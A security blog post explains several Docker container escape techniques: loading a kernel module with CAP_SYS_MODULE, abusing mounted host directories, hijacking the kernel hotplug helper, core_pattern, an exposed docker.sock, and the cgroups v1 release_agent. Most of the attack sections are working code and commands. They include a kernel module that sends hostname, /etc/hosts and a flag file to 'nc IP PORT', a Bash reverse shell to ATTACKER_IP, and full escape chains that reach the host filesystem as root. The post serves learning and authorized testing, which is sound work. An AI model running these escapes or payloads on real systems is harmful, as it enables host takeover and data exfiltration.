September 23, 2026
Docker Container Escape Techniques
In this blog, I will go through some common techniques that can allow an attacker to escape a Docker container.

By default
9 min read
I learned these techniques while hunting on a target that allowed me to run Python scripts in an isolated environment. I tried to escape the container, but unfortunately, I was not able to do it because the target was very secure. However, during my research, I learned several interesting techniques that I think can be useful to share. In this blog, I will document what I learned and explain the different Docker escape techniques I explored.
Escaping the Container with CAP_SYS_MODULE
Before attempting this technique, we need to enumerate the container and verify that several requirements are met.
The following conditions are required:
- We must have root privileges inside the container.
- The container must have the
CAP_SYS_MODULEcapability. - Kernel module loading must be enabled.
- Kernel module signature enforcement must not block unsigned modules.
Checking Container Capabilities
To check the current capabilities, run:
cat /proc/self/status | grep -i capcat /proc/self/status | grep -i capThen decode the CapEff value:
capsh --decode="CapEff output"capsh --decode="CapEff output"We should see cap_sys_module in the output.
Checking Whether Kernel Module Loading Is Enabled
Kernel module loading must be enabled.
We can check this with:
cat /proc/sys/kernel/modules_disabledcat /proc/sys/kernel/modules_disabledA value of 0 means that kernel module loading has not been disabled.
Checking Kernel Module Signature Enforcement
Kernel module signature enforcement must not block unsigned modules.
We can check the sig_enforce parameter with:
cat /sys/module/module/parameters/sig_enforcecat /sys/module/module/parameters/sig_enforceIf the output is N, unsigned kernel modules are not being strictly enforced by this setting.
Exploit: Creating a Malicious Kernel Module
Once all the required conditions are met, we can create a kernel module and compile it using a Makefile.
The following kernel module executes a command when it is loaded:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Tejas Jaiswal");
MODULE_DESCRIPTION("Kernel module to exfiltrate system data with clean output");
static int __init exfil_init(void) {
printk(KERN_INFO "[+] Exfiltration Module Loaded\n");
char *argv[] = {
"/bin/bash",
"-c",
"(echo '[+] Hostname:'; hostname; echo ''; "
"echo '[+] UID Info:'; head /etc/hosts; echo ''; "
"echo '[+] /flag (first 5 lines):'; cat /root/flag.txt; echo '' ) | nc IP PORT",
NULL
};
static char *envp[] = {
"HOME=/root",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}
static void __exit exfil_exit(void) {
printk(KERN_INFO "[-] Exfiltration Module Unloaded\n");
}
module_init(exfil_init);
module_exit(exfil_exit);#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Tejas Jaiswal");
MODULE_DESCRIPTION("Kernel module to exfiltrate system data with clean output");
static int __init exfil_init(void) {
printk(KERN_INFO "[+] Exfiltration Module Loaded\n");
char *argv[] = {
"/bin/bash",
"-c",
"(echo '[+] Hostname:'; hostname; echo ''; "
"echo '[+] UID Info:'; head /etc/hosts; echo ''; "
"echo '[+] /flag (first 5 lines):'; cat /root/flag.txt; echo '' ) | nc IP PORT",
NULL
};
static char *envp[] = {
"HOME=/root",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}
static void __exit exfil_exit(void) {
printk(KERN_INFO "[-] Exfiltration Module Unloaded\n");
}
module_init(exfil_init);
module_exit(exfil_exit);Makefile
We also need a Makefile to compile the kernel module:
obj-m += Malicious.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) cleanobj-m += Malicious.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) cleanRun make to compile the module and generate the .ko file:
If the compilation is successful, we should have a file such as.ko :
Malicious.koMalicious.koLoading the Kernel Module
We can then load the module using insmod:
insmod Malicious.koinsmod Malicious.koIf everything is configured correctly, the module will be loaded and its initialization function will execute.
Note: If you run into problems and need to remove the loaded module, you can use
rmmodwith the module name. To remove the generated build files, runmake clean.
Docker Shared Directories
When using Docker, shared directories (volume mounts) can create a connection between the host system and the container's filesystem.
With shared directories, specific directories or files from the host can be made accessible inside the container.
However, the security impact depends on how the environment is configured and which folder is mounted.
During privilege escalation, we should check whether the mounted folder contains sensitive files or can be used to gain higher privileges on the host.
It's important to note that shared directories can be mounted as either read-only or read-write, depending on the administrator's requirements.
When a directory is mounted as read-only, modifications made inside the container cannot affect the files on the host.
For example:
docker run -it --name mounted_container -v /home:/hostsystem/home:ro ubuntu:latest /bin/bashdocker run -it --name mounted_container -v /home:/hostsystem/home:ro ubuntu:latest /bin/bashBut what if the john user's home directory contains an SSH private key? If the container has access to that directory, the key may become accessible from inside the container. In a misconfigured environment, this could potentially allow an attacker to use the key to authenticate as john on the host.
Enumeration & Exploitation
Look for Non-Standard Directories
Once we have a shell inside a container, we can start by listing the contents of the root directory (/).n Most Linux systems contain standard directories such as /bin, /etc, /home, and /usr. We should look for directories that seem unusual or that may contain files from the host system.
Common names for shared directories include: /mnt , /host , /data ,Other descriptive directory names
/hostsystem looks interesting because it is not normally present in a standard container filesystem.
Investigate Suspicious Directories
If we find a directory that looks like it could be a shared directory, we should investigate its contents. We can then search for sensitive files. For example, SSH keys are interesting because a private key may allow authentication as the corresponding user.
Hotplug Hijacking
To understand this container escape technique, you first need to understand two key concepts:
/proc/sys/kernel/hotplug- OverlayFS
What Is /proc/sys/kernel/hotplug?
The Linux kernel has a hotplug subsystem.
When hardware events happen, such as a USB device being plugged in or a network interface being added or removed, the kernel needs to notify userspace. It does this by executing a helper program.
The path to that helper is stored in:
ls /proc/sys/kernel/hotplugls /proc/sys/kernel/hotplugWhen the kernel executes this helper, it runs it as root on the host, completely outside of any container namespace.
What Is OverlayFS?
Docker uses OverlayFS to give each container its own writable filesystem without copying all the image layers.
When you write a file inside the container, it actually lands in the container's writable layer on the host.
# Inside container
/shell
# On the host:
/var/lib/containerd/.../snapshots/38/fs/shell# Inside container
/shell
# On the host:
/var/lib/containerd/.../snapshots/38/fs/shellExploitation Steps
- Check Whether
/proc/sys/kernel/hotplugIs Writable
First, check whether the current process has write access:
test -w /proc/sys/kernel/hotplug && echo "[+] Writable" || echo "[-] Not writable"test -w /proc/sys/kernel/hotplug && echo "[+] Writable" || echo "[-] Not writable"If the file is writable, continue with the next step.
2. Create the Reverse-Shell Script
Create a Bash script that establishes a connection back to the testing machine:
cat /shell
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1cat /shell
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&13. Find the Container's Upper Directory
Next, identify the OverlayFS upper directory associated with the container:
mount | grep -i upperdirmount | grep -i upperdirAppend the path of the script to the upper directory:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/shell/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/shell- Write the Path to
/proc/sys/kernel/hotplug
Write the resulting path to /proc/sys/kernel/hotplug:
echo "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/shell" | tee /proc/sys/kernel/hotplug > /dev/nullecho "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/shell" | tee /proc/sys/kernel/hotplug > /dev/null6. Start the Listener
From the attacker machine, start a listener on the port specified in the script:
nc -lnvp 4444nc -lnvp 44447. Trigger a Hotplug Event
Finally, trigger a kernel hotplug event from inside the container:
ip link add test0 type dummy || ip link add test0 type tunip link add test0 type dummy || ip link add test0 type tunThis generates an event that causes the configured hotplug handler to be invoked.
Alternative Technique: core_pattern
Another technique worth checking is the Linux kernel's core_pattern mechanism. A practical example of this technique can be found in the Wiz Cloud Security Championship write-up:
Docker Gone Wrong โ Escaping a Container in Wiz Cloud Security Championship
The idea is similar to the kernel.hotplug technique: instead of relying on a hotplug event, the attacker abuses the kernel's handling of core dumps.
First, check whether core_pattern is writable:
test -w /proc/sys/kernel/core_pattern && echo "[+] Writable" || echo "[-] Not writable"test -w /proc/sys/kernel/core_pattern && echo "[+] Writable" || echo "[-] Not writable"If it is writable, investigate whether the environment allows the core_pattern mechanism to be abused.
Docker Sockets
A Docker socket is a special file that allows processes to communicate with the Docker daemon. On Linux, the Docker daemon commonly uses a Unix socket such as:
/var/run/docker.sock/var/run/docker.sockWhen we run a command with the Docker CLI, the client communicates with the Docker daemon through this socket.
The daemon then performs the requested action, such as creating, starting, or managing containers. Access to the Docker socket is normally restricted because it provides significant control over the Docker daemon. However, if a user or process inside a container can access the Docker socket, this can become a serious security issue.
If /var/run/docker.sock is mounted inside a container, processes inside that container may be able to communicate directly with the Docker daemon on the host.
Steps to Exploit
Step 1 โ Check for the Docker Socket
First, check whether the Docker socket is available inside the container:
find / -name "docker.sock" 2>/dev/nullfind / -name "docker.sock" 2>/dev/nullNext, check the permissions of the socket:
ls -lha /run/docker.sock
srw-rw---- 1 root docker 0 Sep 22 15:56 /run/docker.sockls -lha /run/docker.sock
srw-rw---- 1 root docker 0 Sep 22 15:56 /run/docker.sockBecause our user is a member of the docker group, we have permission to interact with the Docker socket.
Step 2 โ Get a Docker Client
If the Docker client is not available inside the container, we can download one:
wget -O /tmp/docker https://master.dockerproject.com/linux/x86_64/docker
chmod +x /tmp/dockerwget -O /tmp/docker https://master.dockerproject.com/linux/x86_64/docker
chmod +x /tmp/dockerStep 3 โ Interact with the Docker Socket
Now we can use the Docker client to communicate with the Docker daemon through the socket.
The -H option specifies which Docker socket the client should use.
A good first command is ps, which allows us to check whether we can list the running containers:
/tmp/docker -H unix:///run/docker.sock ps/tmp/docker -H unix:///run/docker.sock psIf the command works, we have successfully communicated with the Docker daemon.
Step 4 โ Perform the Container Escape
If we have sufficient access to the Docker daemon, we can ask it to create a new privileged container and mount the host's root filesystem inside it:
/tmp/docker -H unix:///run/docker.sock run --rm -it --privileged -v /:/hostsystem ubuntu bash/tmp/docker -H unix:///run/docker.sock run --rm -it --privileged -v /:/hostsystem ubuntu bashLet's break down the command:
/tmp/docker -H unix:///run/docker.sockโ Use the Docker client and communicate with the Docker daemon through the specified socket.runโ Create and start a new container.--rmโ Automatically remove the container when we exit.-itโ Start an interactive terminal.--privilegedโ Give the new container extended privileges.-v /:/hostsystemโ Mount the host's root filesystem (/) to/hostsysteminside the new container.ubuntu bashโ Use the Ubuntu image and start a Bash shell.
Step 5 โ Access the Host Filesystem
After starting the new container, we can check the mounted filesystem:
root@new-container:/# ls /hostsystem/root@new-container:/# ls /hostsystem/Cgroups v1 release_agent
This technique abuses a legacy feature of cgroups v1 called notify_on_release. When this feature is enabled, we can configure a release_agent that points to a script accessible from the host. When the last process in the cgroup exits, the kernel can execute the release_agent with host-level privileges.
The important point is that this technique depends on cgroups v1 being available on the host. Modern Linux systems commonly use cgroups v2, so this technique will not work in those environments. For more information, check out this video
- First, check which cgroup version is being used:
mount | grep cgroupmount | grep cgroupIn my case, the system is using cgroups v2, so this technique will not work.
However, when testing older systems or CTF machines, we may still encounter cgroups v1, which makes release_agent an interesting technique to investigate.
Exploitation
If cgroups v1 is available, we can try the following in an authorized lab environment.
1. Mount the Cgroup Filesystem
# 1. Mount the cgroup filesystem and create a child cgroup 'x'
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Enable notification on release for the new cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Find the container's path on the host, and set it as the release_agent script
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 4. Create the malicious script (/cmd) in the container's shared filesystem.
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd # The command to run on the host
chmod a+x /cmd
# 5. Execute a process in the cgroup 'x' that immediately exits, triggering the payload
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"# 1. Mount the cgroup filesystem and create a child cgroup 'x'
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Enable notification on release for the new cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Find the container's path on the host, and set it as the release_agent script
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 4. Create the malicious script (/cmd) in the container's shared filesystem.
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd # The command to run on the host
chmod a+x /cmd
# 5. Execute a process in the cgroup 'x' that immediately exits, triggering the payload
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"The payload in this example runs ps aux and saves the output to the output file. This gives us a simple way to verify whether the release_agent executed in the host context.
If the technique works, we should be able to find the generated output file on the host filesystem.
Tools That Can Help
When investigating a container-escape scenario, several tools can help automate enumeration and identify potential escape paths.
1. DeepCE
DEEPCE (Docker Enumeration, Escalation of Privileges and Container Escapes) is specifically designed for Docker security testing.
It can perform container and host enumeration, check for common Docker misconfigurations, look for privilege-escalation opportunities, and provide techniques for attempting container escapes.
GitHub: stealthcopter/deepce
2. Docker Escape Tool
docker-escape-tool is designed to determine whether you are running inside a Docker container and test several common breakout techniques.
It can check for Docker socket exposure, accessible devices, dangerous Linux capabilities, and known Docker/container-runtime vulnerabilities. It also includes network-enumeration functionality that can be useful when assessing the relationship between the container and the host.
GitHub: PercussiveElbow/docker-escape-tool
3. LinPEAS
LinPEAS is a general-purpose Linux privilege-escalation enumeration tool. Although it is not specifically a container-escape tool, it can reveal information that is valuable when investigating a container, such as permissions, capabilities, mounts, processes, services, credentials, and other potential privilege-escalation paths.
This makes it useful as a first-pass enumeration tool before manually investigating a possible escape.
4. CDK
CDK is a container-security assessment tool designed for Docker, Kubernetes, and containerd environments.
It can enumerate the current container environment and check for several known container-escape and privilege-escalation techniques. It can also attempt certain escape techniques automatically, making it useful for quickly identifying potential attack paths during an authorized assessment.
GitHub: cdk-team/CDK
Tip: These tools should be treated as enumeration and validation helpers, not as replacements for understanding the underlying escape mechanism.